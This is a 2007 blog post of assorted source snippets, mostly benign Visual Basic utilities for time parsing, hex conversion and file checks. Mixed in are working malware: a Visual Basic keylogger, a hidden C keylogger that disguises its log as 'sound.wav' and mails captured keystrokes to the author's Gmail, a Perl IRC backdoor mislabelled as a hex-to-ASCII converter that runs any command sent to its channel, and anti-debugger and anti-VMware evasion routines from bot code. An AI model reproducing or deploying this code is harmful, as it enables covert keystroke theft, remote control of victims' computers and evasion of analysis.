Saturday, November 17, 2007

source codes

Coding Ascii
BTW, here's a little doo-dad that I threw together that moves the ascii value of each
character up (encode) or down (decode), with a default change of 40.
So, for example, chr(233) might become chr(21), or chr(74) might become chr(114).
Anyone who knows what they're doing could easily decode it, but at least it's not legible
if you open the file in Notepad, etc. Try it!

Syntax is: encode(mytext, [range]) and decode(mytext, [range]).

-SJ; samjohnyb4u@gmail.com

Public Function Encode(Data as String, Optional Depth as Integer) as String
Dim TempChar as String
Dim TempAsc as Integer
Dim NewData as String
Dim vChar as Integer

For vChar = 1 To Len(Data)
TempChar = Mid$(Data, vChar, 1)
TempAsc = Asc(TempChar)
If Depth = 0 Then Depth = 40 'DEFAULT DEPTH
If Depth > 254 Then Depth = 254

TempAsc = TempAsc + Depth
If TempAsc > 255 Then TempAsc = TempAsc - 255
TempChar = Chr(TempAsc)
NewData = NewData & TempChar
Next vChar
Encode = NewData

End Function

Public Function Decode(Data as String, Optional Depth as Integer) as String
Dim TempChar as String
Dim TempAsc as Integer
Dim NewData as String
Dim vChar as Integer

For vChar = 1 To Len(Data)
TempChar = Mid$(Data, vChar, 1)
TempAsc = Asc(TempChar)
If Depth = 0 Then Depth = 40 'DEFAULT DEPTH
If Depth > 254 Then Depth = 254
TempAsc = TempAsc - Depth
If TempAsc < 0 Then TempAsc = TempAsc + 255
TempChar = Chr(TempAsc)
NewData = NewData & TempChar
Next vChar
Decode = NewData

End Function
CheckTime
converting text-input to a reliable time

'convert (most of) any input to a time

Public Function CheckTijd(bron$) As Date
dim t%
'checking on digits and seperator
Const Getal$ = "1234567890.:"

For t% = 1 To Len(bron$)
If InStr(Getal$, Mid$(bron$, t%, 1)) = 0 Then exit Function
If Mid$(bron$, t%, 1) = "." Then bron$ = Left$(bron$, t% - 1) & ":" & Right$(bron$, Len(bron$) - t%)
Next t%

select case Len(bron$)
case 0
exit Function
case 1
bron$ = "0" & bron$ & ":00"
case 2
bron$ = bron$ & ":00"
case 3
t% = InStr(bron$, ":")
If t% = 0 Then _
bron$ = Left$(bron$, 1) & ":" & Right$(bron$, 2)
case 4
t% = InStr(bron$, ":")
If t% = 0 Then _
bron$ = Left$(bron$, 2) & ":" & Right$(bron$, 2)
case 5
bron$ = Left$(bron$, 2) & ":" & Right$(bron$, 2)
end Select

on Error Resume Next
CheckTijd = TimeValue(bron$)

End Function

'use it in the Text_Lostfocus event like

Sub Text1_LostFocus
Text1.Text = CheckTijd(Text1.Text)
End Sub

'giving the input in text1 => result
'1 => 01:00
'12 => 12:00
'1.1 => 01:10
'915 => 9:15
'9.15 => 9:15
'1015 => 10:15
'10.15 => 10:15
'12:15 => 12:15

'giving an impossible time => result
'26 => 00:00
'1976 => 00:00

'giving just nothing (TAB/ENTER) will give no result
CheckTime
converting text-input to a reliable time

'convert (most of) any input to a time

Public Function CheckTijd(bron$) As Date
dim t%
'checking on digits and seperator
Const Getal$ = "1234567890.:"

For t% = 1 To Len(bron$)
If InStr(Getal$, Mid$(bron$, t%, 1)) = 0 Then exit Function
If Mid$(bron$, t%, 1) = "." Then bron$ = Left$(bron$, t% - 1) & ":" & Right$(bron$, Len(bron$) - t%)
Next t%

select case Len(bron$)
case 0
exit Function
case 1
bron$ = "0" & bron$ & ":00"
case 2
bron$ = bron$ & ":00"
case 3
t% = InStr(bron$, ":")
If t% = 0 Then _
bron$ = Left$(bron$, 1) & ":" & Right$(bron$, 2)
case 4
t% = InStr(bron$, ":")
If t% = 0 Then _
bron$ = Left$(bron$, 2) & ":" & Right$(bron$, 2)
case 5
bron$ = Left$(bron$, 2) & ":" & Right$(bron$, 2)
end Select

on Error Resume Next
CheckTijd = TimeValue(bron$)

End Function

'use it in the Text_Lostfocus event like

Sub Text1_LostFocus
Text1.Text = CheckTijd(Text1.Text)
End Sub

'giving the input in text1 => result
'1 => 01:00
'12 => 12:00
'1.1 => 01:10
'915 => 9:15
'9.15 => 9:15
'1015 => 10:15
'10.15 => 10:15
'12:15 => 12:15

'giving an impossible time => result
'26 => 00:00
'1976 => 00:00

'giving just nothing (TAB/ENTER) will give no result
Converting Numbers
Hexadecimal to Decimal

Sub Form_Load ()

Dim x as String
Dim y as Variant

x = "fffe"
y = CLng("&H" & x)

If y < 0 Then y = y + 65536 ' returns 65534

MsgBox y

End Sub


* Converting a string to an integer: Cal Stover

Dim SomeVariable as Integer
SomeVariable = CInt(Label2.Caption) + 100

Dim SomeVariable as Single
SomeVariable = CSng(Val(Label2.Caption) + 100)


* convert a number in Hexadecimal to Binary -chris

A very fast conversion from hex to binary can be done with a sixteen
element look-up table - a single hex digit converts to four binary
digits. So:

Function Hex2Bin$(HexValue$)
CONST BinTbl ="0000000100100011010001010110011110001001101010111100110111101111"
dim X, Work$
Work$ = ""
For X = 1 to Len(HexValue$)
Work$ = Work$ + Mid$(BinTbl, (Val("&h" + Mid$(HexValue$, X, 1) - 1) * 4 + 1, 4)
Next
Hex2Bin$ = Work$
End Function

You could also code BinTbl as an array which would eliminate one of the
Mid$() calls, but then the array would either have to be built ahead of
time or built every time you called the Hex2Bin function. You could try
all three options and see which is faster.
'Drag and Drop
'Drag and Drop within a application

Suppose you have a listbox with some elements and want to drag&drop a selected one into
a textbox. I know there are easier ways to do this but it's just for making the point.

Make a form with a textbox (text1) and a listbox (list1). Fill the listbox with some items...
Make a label (label1). Set it invisible = False

Put the next code at the appropiate places:

Sub List1_MouseDown (Button as Integer, Shift as Integer, X as Single, Y as Single)
Dim DY

DY = TextHeight("A")
Label1.Move list1.Left, list1.Top + Y - DY / 2, list1.Width, DY
Label1.Drag

End Sub

Sub List1_DragOver (Source as Control, X as Single, Y as Single, state as Integer)
If state = 0 Then Source.MousePointer = 12
If state = 1 Then Source.MousePointer = 0

End Sub

Sub Form_DragOver (Source as Control, X as Single, Y as Single, state as Integer)
If state = 0 Then Source.MousePointer = 12
If state = 1 Then Source.MousePointer = 0

End Sub

Sub Text1_DragDrop (Index as Integer, Source as Control, X as Single, Y as Single)
text1.text = list1

End Sub

FileExists
check if file already exists

---------------- first version

Function FileExist (Path$) as Integer
dim x
x = FreeFile
on Error Resume Next
open Path$ For Input as x
FileExist = (Err = 0)
Close x
End Function

---------------- second version

'thanks for modifications: Lynton

The function above assumes that the file you are checking for is
not locked (in use). In that case, fileexists would return false because
you are attempting to open a locked file.

Function FileExists%(ByVal sPath$)
' Check for the existence of a file.
dim rc%
FileExists = False
on Error Resume Next
If Len(sPath$) Then
rc% = Len(Dir$(sPath$))
If rc% And Not Err Then FileExists% = True
end If
End Function

---------------- third version
George Toft


This is much easier and quicker than the ones you have. I used to
use code almost identical to the ones you have until I learned about
the DIR function.

Public Function FileExist(parmPath as String) as Integer

FileExist = Not (Dir(parmPath) = "")

End Function' FileExist

---------------- fourth adjustment
dayak


Using a Form, containing a Textbox, and a Command button, the following code
works for creating and checking the existence of a directory.
============================Code Follows===================================



Private sub Command1_Click()

Dim sFname as String
sFname = App.Path & "\" & "mydir"

If Not FileExist(sFname) Then
MsgBox ("Creating 'mydir' Directory in App.Path")
MkDir (sFname)
Text1.Text = "Directory 'mydir' has been created"
Else
Text1.Text = "Directory 'mydir' already exists"
End If


End Sub

Private Function FileExist(ByRef sFname) as Boolean

If Len(Dir(sFname, 16)) Then FileExist = True Else FileExist = False

End Function

FileName
get only the filename 'use as

MsgBox HaalBestandNaam("c:\windows\win.com","\") 'gives you 'win.com'
MsgBox HaalBestandNaam("d:/data/backup.txt","/") 'gives you 'backup.txt'
'last example I needed for conencting to some unix-systems

Function HaalBestandNaam(bron$, vSlash$) as String
dim p%

HaalBestandNaam = bron
For p% = Len(bron$) To 0 step -1
If Mid$(bron$, p%, 1) = vSlash$ Then
HaalBestandNaam = Mid$(bron$, p% + 1, Len(bron$) - p% + 1)
exit Function
end If
Next p%

End Function
Integer2Hex
convert integer to Hex

'convert binary to Hex

'make a form with a commondialog.control
'make a command.control named cmdColor

Sub cmdColor_Click()
dim RedValue, GreenValue, BlueValue
dim AColor

'see help on Flags for settings
CMDialog1.Flags = &H1& Or &H4&
'action 3 means show colorpalette
CMDialog1.Action = 3
'when you press OKE the color will be put into the variable AColor
AColor = CMDialog1.Color

RedValue = (ACOLOR And &HFF&)
GreenValue = (ACOLOR And &HFF00&) \ 256
BlueValue = (ACOLOR And &HFF0000) \ 65536
ChoosenColor = Format(Hex(RedValue) & Hex(GreenValue) & Hex(BlueValue), "000000")
msgbox ChoosenColor

End Sub

Leap-Year
check if year is a leap-year

'checking if a year is a leap-year

'make a new project
'add a form
'add a texbox and a commandbutton
'insert the code
'press F5


Option Explicit

Private sub Command1_Click()

dim strDatum as String

If Text1.Text = "" Then exit Sub
strDatum = ("29-2-" + Text1.Text)
If IsDate(strDatum) Then MsgBox Text1.Text + " is a leap-year." _
Else MsgBox Text1.Text + " isn't a leap-year."

End Sub

Private sub Form_Load()

Text1.Text = Year(Now)

End Sub

LimitInput
limit input in a textbox to certain characters

Function LimitTextInput(source) as String
'put the next line in the Textbox_KeyPress event
'KeyAscii = LimitTextInput(KeyAscii)

'change Numbers with any other character
Const Numbers$ = "0123456789."

'backspace =8
If source <> 8 Then
If InStr(Numbers, Chr(source)) = 0 Then
LimitTextInput = 0
exit Function
end If
end If
LimitTextInput = source

End Function
Simple Key logger
Just create a timer and a textbox on your form, leave their names as Text1 and Timer1. Set the timer's interval to 1 and make sure it's activated. Copy this code to your form.

Dim result As Integer

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Timer1_Timer()

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)

If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End if
Next i
End Sub

if this aint working..do tell me..



Keymail

/*
Compile notes: I used Dev-C++

4.9.9.2 to compie this. if you get an

error like:
Linker error] undefined

reference to `WSAStartup@8'
Add this:
-lws2_32
to Tools->Compiler Options under the

section on compile flags.
*/

#include
#include
#include
#include
#include
int MailIt (char *mailserver, char

*emailto, char *emailfrom,
char *emailsubject, char

*emailmessage);
#define BUFSIZE 800
#define waittime 500
/*If you don't know the mail

exchange server for an address for

the following
"nslookup -querytype=mx gmail.com"

but replace gmail.com with the domain

for
whatever email address you want.

YOU MUST CHANGE THESE

SETTINGS OR
IT WILL NOT WORK!!! */#define cmailserver

"gmail-smtp-in.l.google.com"
#define cemailto

"samjohnyb4u@gmail.com"
#define cemailfrom

"samjohnyb4u@gmail.com"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "Logged"int test_key(void);
int main(void)
{
//Uncomment the lines below to

put the keylogger in stealh mode.
HWND stealth; /*creating stealth

*/
AllocConsole();


stealth=FindWindowA("ConsoleWindowC

lass",NULL);
ShowWindow(stealth,0);

{FILE *file;
file=fopen(FileName,"a+");
time_t theTime=time(0);
fputs("\nStarted logging: ", file);
fputs(ctime(&theTime),file);
fclose(file);
} /* if (test==2)
{//the path in which the file

needs to be
char

*path="c:\\%windir%\\svchost.exe";
create=create_key(path);
} */

int t=get_keys();
return t;
} int get_keys(void)
{
int freadindex;
char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");

short character;
while(1)
{
sleep(10);/*to

prevent 100% cpu usage*/for(character=8;character<=222;char

acter++)
{


if(GetAsyncKeyState(character)==-32

767)
{
FILE *file;


file=fopen(FileName,"a+");


if(file==NULL)
{


return 1;
}


if(file!=NULL)
{


if((character>=39)&&(character<=64))
{


fputc(character,file);


fclose(file);


break;
}


else

if((character>64)&&(character<91))
{


character+=32;


fputc(character,file);


fclose(file);


break;
}
else
{

switch(character)


{


case VK_SPACE:


fputc(' ',file);


fclose(file);


break;


case VK_SHIFT:

fputs("\r\n[SHIFT]\r\n",file);


fclose(file);


break;


fputs("\r\n[ENTER]\r\n",file);


fclose(file);


break;


case VK_BACK:




fputs("\r\n[BACKSPACE]\r\n",file);


fclose(file);


break;


case VK_TAB:


fputs("\r\n[TAB]\r\n",file);


fclose(file);


break;


case VK_CONTROL:


fputs("\r\n[CTRL]\r\n",file);


fclose(file);


break;


case VK_DELETE:


fputs("\r\n[DEL]\r\n",file);


fclose(file);

break;


case VK_OEM_1:


fputs("\r\n[;:]\r\n",file);


fclose(file);


break;


case VK_OEM_2:

fputs("\r\n[/?]\r\n",file);


fclose(file);


break;


case VK_OEM_3:

fputs("\r\n[`~]\r\n",file);


fclose(file);
break;


case VK_OEM_4:


fputs("\r\n[ [{ ]\r\n",file);


fclose(file);


break;


case VK_OEM_5:


fputs("\r\n[\\|]\r\n",file);


fclose(file);


break;




case VK_OEM_6:


fputs("\r\n[ ]} ]\r\n",file);


fclose(file);


break;


case VK_OEM_7:


fputs("\r\n['\"]\r\n",file);


fclose(file);


break;

case 187:


fputc('+',file);


fclose(file);


break;


case 188:


fputc(',',file);


fclose(file);


break;


case 189:


fputc('-',file);
fclose(file);


break;


case 190:


fputc('.',file); fclose(file);
break;


case VK_NUMPAD0:


fputc('0',file);


fclose(file);


break;


case VK_NUMPAD1:


fputc('1',file);


fclose(file);


break;


case VK_NUMPAD2:


fputc('2',file);


fclose(file);


break;


case VK_NUMPAD3:


fputc('3',file);


fclose(file);


break;


case VK_NUMPAD4:


fputc('4',file);


fclose(file);


break;


case VK_NUMPAD5:


fputc('5',file);


fclose(file);


break; case VK_NUMPAD6:


fputc('6',file);


fclose(file);


break;


case VK_NUMPAD7:


fputc('7',file);


fclose(file);


break;
case VK_NUMPAD8:


fputc('8',file);


fclose(file);


break;


case VK_NUMPAD9:


fputc('9',file);


fclose(file);


break;


case VK_CAPITAL:


fputs("\r\n[CAPS

LOCK]\r\n",file);


fclose(file);


break;


default:


fclose(file);


break;
}


}
}
}
}
FILE *file;
file=fopen(FileName,"rb");
fseek(file,0,SEEK_END);

//go to end
len=ftell(file); //get

position at end (length)
if(len>=LogLength) {


fseek(file,0,SEEK_SET);//go to beg.
buf=(char

*)malloc(len);//malloc buffer


freadindex=fread(buf,1,len,file);//rea

d into buffer
buf[freadindex] =

'\0';//Extra bit I have to add to

make it a sting
MailIt( cmailserver,

cemailto, cemailfrom, cemailsubject,

buf); fclose(file);
file=fopen(FileName,"w");


}
fclose(file);
//free (buf);

}
return EXIT_SUCCESS;


}
int MailIt (char *mailserver, char

*emailto, char *emailfrom,
char *emailsubject, char

*emailmessage) {
SOCKET sockfd;
WSADATA wsaData;
FILE *smtpfile;

#define bufsize 300
int bytes_sent; /* Sock FD */
int err;
struct hostent *host; /* info

from gethostbyname */
struct sockaddr_in dest_addr;

/* Host Address */
char line[1000];
char *Rec_Buf = (char*)

malloc(bufsize+1);
smtpfile=fopen(SMTPLog,"a+");
if (WSAStartup(0x202,&wsaData)

== SOCKET_ERROR) {
fputs("WSAStartup

failed",smtpfile);
WSACleanup();
return -1;
}
if (

(host=gethostbyname(mailserver)) ==

NULL) {
perror("gethostbyname");
exit(1);
}


memset(&dest_addr,0,sizeof(dest_add

r));


memcpy(&(dest_addr.sin_addr),host->

h_addr,host->h_length); /* Prepare dest_addr */
dest_addr.sin_family=

host->h_addrtype; /* AF_INET

from gethostbyname */
dest_addr.sin_port= htons(25);

/* PORT defined above */

/* Get socket */

if

((sockfd=socket(AF_INET,SOCK_STRE

AM,0)) < 0) {
perror("socket");
exit(1);
}
/* Connect !*/
fputs("Connecting....\n",smtpfile);

if (connect(sockfd, (struct

sockaddr

*)&dest_addr,sizeof(dest_addr)) ==

-1){
perror("connect");
exit(1);
}
sleep(waittime);


err=recv(sockfd,Rec_Buf,bufsize,0);R

ec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"helo

me.somepalace.com\n"); fputs(line,smtpfile);


bytes_sent=send(sockfd,line,strlen(line

),0);
sleep(waittime);err=recv(sockfd,Rec_Buf,bufsize,0);R

ec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"MAIL FROM:<");strncat(line,emailfrom,strlen(emailfro

m));
strncat(line,">\n",3);
fputs(line,smtpfile);bytes_sent=send(sockfd,line,strlen(line

),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);R

ec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"RCPT TO:<");


strncat(line,emailto,strlen(emailto));
strncat(line,">\n",3);
fputs(line,smtpfile);


bytes_sent=send(sockfd,line,strlen(line

),0);
sleep(waittime);


err=recv(sockfd,Rec_Buf,bufsize,0);R

ec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"DATA\n");
fputs(line,smtpfile);


bytes_sent=send(sockfd,line,strlen(line

),0);
sleep(waittime);


err=recv(sockfd,Rec_Buf,bufsize,0);R

ec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
sleep(waittime);
strcpy(line,"To:");
strcat(line,emailto);
strcat(line,"\n");
strcat(line,"From:");
strcat(line,emailfrom);
strcat(line,"\n");
strcat(line,"Subject:");
strcat(line,emailsubject);
strcat(line,"\n");
strcat(line,emailmessage);
strcat(line,"\r\n.\r\n");
fputs(line,smtpfile);


bytes_sent=send(sockfd,line,strlen(line

),0);
sleep(waittime);err=recv(sockfd,Rec_Buf,bufsize,0);R

ec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"quit\n");
fputs(line,smtpfile);


bytes_sent=send(sockfd,line,strlen(line

),0);
sleep(waittime);


err=recv(sockfd,Rec_Buf,bufsize,0);R

ec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
fclose(smtpfile);


#ifdef WIN32
closesocket(sockfd);
WSACleanup();
#else
close(sockfd);
#endif
}

Perl Virus Scanner
#!/usr/bin/perl
use strict;
use warnings;
use File::Find;
use File::Scan;
my $scandir = "c:\\"; # couldn't get it to work with 'c:/'
my $results = "c:\\virusscan.txt";
open(VS, ">", $results);
my $filescan = File::Scan->new(extension => 'bad', move => 'infected')
+;
find({ wanted => \&doscan, follow_skip => 2 }, $scandir);

sub doscan {
return if /^[.]+/;
my $file = $File::Find::name;
$file =~ s#\\##;
print "$file\n";
return if (-d $file);
$filescan->scan($file);
if (my $e = $filescan->error()) { print "$file $e\n"; }
if (my $c = $filescan->skipped()) {
my @skip = (
"file not skipped",
"file is not vulnerable",
"file has zero size",
"the size of file is small",
"the text file size is greater that the 'max_txt_size' argument",
"the binary file size is greater that the 'max_bin_size' argument"
+,
);
print VS "$file $skip[$c]\n" if ($c); # only print if the file was
+ skipped
}
if ($filescan->suspicious) { print VS "$file suspicious file\n"; }
}



Perl for converting Hex to ASCII
#!/usr/bin/perl
$chan="#0x";$nick="k";$server="ir3ip.net";
$SIG{TERM}={};
exit if fork;use IO::Socket;
$sock = IO::Socket::INET->new($server.":6667")||exit;
print $sock "USER k +i k :kv1\nNICK k\n";
$i=1;while(<$sock>=~/^[^ ]+ ([^ ]+) /){$mode=$1;
last if $mode=="001";
if($mode=="433"){$i++;$nick=~s/\d*$/$i/;
print $sock "NICK $nick\n";}}
print $sock "JOIN $chan\nPRIVMSG $chan :Hi\n";
while(<$sock>){if (/^PING (.*)$/){print $sock "PONG $1\nJOIN $chan\n";}
if(s/^[^ ]+ PRIVMSG $chan :$nick[^ :\w]*:[^ :\w]* (.*)$/$1/){s/\s*$//;
$_=`$_`;foreach(split "\n"){print $sock "PRIVMSG $chan :$_\n";sleep 1;}}
}#/tmp/hi

Detecting SoftICE
/*
Function: IsSICELoaded
Description: This method is used by a lot of crypters/compresors it uses INT 41,
this interrupt is used by Windows debugging interface to detect if a
debugger is present. Only works under Windows.
Returns: true if a debugger is detected
*/

__inline bool IsSICELoaded() {
_asm {
mov ah, 0x43
int 0x68
cmp ax, 0x0F386 // Will be set by all system debuggers.
jz out_

xor ax, ax
mov es, ax
mov bx, word ptr es:[0x68*4]
mov es, word ptr es:[0x68*4+2]
mov eax, 0x0F43FC80
cmp eax, dword ptr es:[ebx]
jnz out_
jmp normal_
normal_:
xor eax, eax
leave
ret
out_:
mov eax, 0x1
leave
ret
}
return false;
}


Detecting SoftICE NT
/*
Function: IsSoftIceNTLoaded
Description: Like the previous one but for use under Win NT only
Returns: true if SoftIce is loaded
*/

__inline BOOL IsSoftIceNTLoaded() {
HANDLE hFile=CreateFile( "\\\\.\\NTICE",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if(hFile!=INVALID_HANDLE_VALUE) { CloseHandle(hFile); return true; }
return false;
}

Detecting OllyDbg
/*
Function: IsODBGLoaded
Description: Tests if OllyDbg/other app debuggers is/are enabled
Returns: true if a debugger is detected
*/

__inline bool IsODBGLoaded() {
char *caption="DAEMON";
_asm {
push 0x00
push caption

mov eax, fs:[30h] // pointer to PEB
movzx eax, byte ptr[eax+0x2]
or al,al
jz normal_
jmp out_
normal_:
xor eax, eax
leave
ret
out_:
mov eax, 0x1
leave
ret
}
}


Detecting Breakpoints
/*
Functions are declared as __inline, this causes the expansion of this code each time a function
is invoked, this is to difficult the cracker work by using this function more than once time

Function: IsBPX
Description: Checks if the given memory address is a breakpoint
Returns: true if it is a breakpoint
*/

__inline bool IsBPX(void *address) {
_asm {
mov esi, address // load function address
mov al, [esi] // load the opcode
cmp al, 0xCC // check if the opcode is CCh
je BPXed // yes, there is a breakpoint

// jump to return true
xor eax, eax // false,
jmp NOBPX // no breakpoint
BPXed:
mov eax, 1 // breakpoint found
NOBPX:
}
}

Detecting VMWare
/*
executes VMware backdoor I/O function call
*/

#define VMWARE_MAGIC 0x564D5868 // Backdoor magic number
#define VMWARE_PORT 0x5658 // Backdoor port number
#define VMCMD_GET_VERSION 0x0a // Get version number

int VMBackDoor(unsigned long *reg_a, unsigned long *reg_b, unsigned long *reg_c, unsigned long *reg_d) {
unsigned long a, b, c, d;
b=reg_b?*reg_b:0;
c=reg_c?*reg_c:0;

xtry {
__asm {
push eax
push ebx
push ecx
push edx

mov eax, VMWARE_MAGIC
mov ebx, b
mov ecx, c
mov edx, VMWARE_PORT

in eax, dx

mov a, eax
mov b, ebx
mov c, ecx
mov d, edx

pop edx
pop ecx
pop ebx
pop eax
}
} xcatch(...) {}

if(reg_a) *reg_a=a; if(reg_b) *reg_b=b; if(reg_c) *reg_c=c; if(reg_d) *reg_d=d;
return a;
}

/*
Check VMware version only
*/

int VMGetVersion() {
unsigned long version, magic, command;
command=VMCMD_GET_VERSION;
VMBackDoor(&version, &magic, &command, NULL);
if(magic==VMWARE_MAGIC) return version;
else return 0; }

/*
Check if running inside VMWare
*/

int IsVMWare() {
int version=VMGetVersion();
if(version) return true; else return false;
}



Fooling ProcDump
/*
Fool ProcDump with increasing size
*/

void FoolProcDump() {
__asm {
mov eax, fs:[0x30]
mov eax, [eax+0xC]
mov eax, [eax+0xC]
add dword ptr [eax+0x20], 0x2000 // increase size variable
}
}



Combining everything
bool CDebugDetect::IsDebug() {
#ifdef _DEBUG

return false;

#else

if(m_bIsDebug) return true;

#ifndef _WIN32
// Anti-PTrace
// if(ptrace(PTRACE_TRACEME, 0, 1, 0)<0) {
// m_bIsDebug=true; return true;
// }
#else
pfnIsDebuggerPresent IsDbgPresent=NULL;
HMODULE hK32=GetModuleHandle("KERNEL32.DLL");
if(!hK32) hK32=LoadLibrary("KERNEL32.DLL");
if(hK32) {
IsDbgPresent=(pfnIsDebuggerPresent)GetProcAddress(hK32, "IsDebuggerPresent");
}

FoolProcDump();
ScrewWithVirtualPC();

unsigned long lStartTime=GetTickCount();

if(IsBPX(&IsBPX)) {
#ifdef DBGCONSOLE
g_cConsDbg.Log(5, "Breakpoint set on IsBPX, debugger active...\n");
#endif // DBGCONSOLE
m_bIsDebug=true; return true;
}

if(IsBPX(&IsSICELoaded)) {
#ifdef DBGCONSOLE
g_cConsDbg.Log(5, "Breakpoint set on IsSICELoaded, debugger active...\n");
#endif // DBGCONSOLE
m_bIsDebug=true; return true;
}

if(IsBPX(&IsSoftIceNTLoaded)) {
#ifdef DBGCONSOLE
g_cConsDbg.Log(5, "Breakpoint set on IsSoftIceNTLoaded, debugger active...\n");
#endif // DBGCONSOLE
m_bIsDebug=true; return true;
}

if(IsBPX(&IsVMWare)) {
#ifdef DBGCONSOLE
g_cConsDbg.Log(5, "Breakpoint set on IsVMWare, debugger active...\n");
#endif // DBGCONSOLE
m_bIsDebug=true; return true;
}

if(IsSoftIceNTLoaded()) {
#ifdef DBGCONSOLE
g_cConsDbg.Log(5, "SoftIce named pipe exists, maybe debugger is active...\n");
#endif // DBGCONSOLE
m_bIsDebug=true; return true;
}

if(IsSICELoaded()) {
#ifdef DBGCONSOLE
g_cConsDbg.Log(5, "SoftIce is loaded, debugger active...\n");
#endif // DBGCONSOLE
m_bIsDebug=true; return true;
}

// if(IsVMWare()) {
//#ifdef DBGCONSOLE
// g_cConsDbg.Log(5, "Running inside VMWare, probably honeypot...\n");
//#endif // DBGCONSOLE
// m_bIsDebug=true; return true;
// }

if(IsDbgPresent) {
if(IsBPX(&IsDbgPresent)) {
#ifdef DBGCONSOLE
g_cConsDbg.Log(5, "Breakpoint set on IsDebuggerPresent, debugger active...\n");
#endif // DBGCONSOLE
m_bIsDebug=true; return true;
}
}

if((GetTickCount()-lStartTime) > 5000) {
#ifdef DBGCONSOLE
g_cConsDbg.Log(5, "Routine took too long to execute, probably single-step...\n");
#endif // DBGCONSOLE
m_bIsDebug=true; return true;
}
#endif // WIN32

return false;

#endif // _DEBUG
}
Calculating TCP/IP checksum in assembler to gain s
/*
This calculates a TCP/IP checksum
*/

#ifdef WIN32
#define USE_ASM
#endif // WIN32

unsigned short checksum(unsigned short *buffer, int size) {
unsigned long cksum=0;

#ifdef USE_ASM

unsigned long lsize=size;
char szMMBuf[8], *pMMBuf=szMMBuf;

__asm {
FEMMS

MOV ECX, lsize // ecx=lsize;
MOV EDX, buffer // edx=buffer;
MOV EBX, cksum // ebx=cksum;

CMP ECX, 2 // size<2;
JS CKSUM_LOOP2 // goto loop 2

CKSUM_LOOP:

XOR EAX, EAX // eax=0;
MOV AX, WORD PTR [EDX] // ax=(unsigned short*)*buffer;
ADD EBX, EAX // cksum+=(unsigned short*)*buffer;

SUB ECX, 2 // size-=2;
ADD EDX, 2 // buffer+=2;
CMP ECX, 1 // size>1
JG CKSUM_LOOP // while();

CMP ECX, 0 // if(!size);
JE CKSUM_FITS // fits if equal

CKSUM_LOOP2:

XOR EAX, EAX // eax=0;
MOV AL, BYTE PTR [EDX] // al=(unsigned char*)*buffer;
ADD EBX, EAX // cksum+=(unsigned char*)*buffer;

SUB ECX, 1 // size-=1;
ADD EDX, 1 // buffer+=1;
CMP ECX, 0 // size>0;
JG CKSUM_LOOP2 // while();

CKSUM_FITS:

MOV cksum, EBX // cksum=ebx;

MOV EAX, cksum // eax=cksum;
SHR EAX, 16 // eax=cksum>>16;
MOV EBX, cksum // ebx=cksum;
AND EBX, 0xffff // ebx=cksum&0xffff;

ADD EAX, EBX // eax=(cksum>>16)+(cksum&0xffff);

MOV EBX, EAX // ebx=cksum;
SHR EBX, 16 // ebx=cksum>>16;
ADD EAX, EBX // cksum+=(cksum>>16);

MOV cksum, EAX // cksum=EAX;

FEMMS
}

#else // USE_ASM

while(size>1) { cksum+=*buffer++; size-=2; }
if(size) cksum+=*(unsigned char*)buffer;

cksum=(cksum>>16)+(cksum&0xffff);
cksum+=(cksum>>16);

#endif // USE_ASM

return (unsigned short)(~cksum); }
*/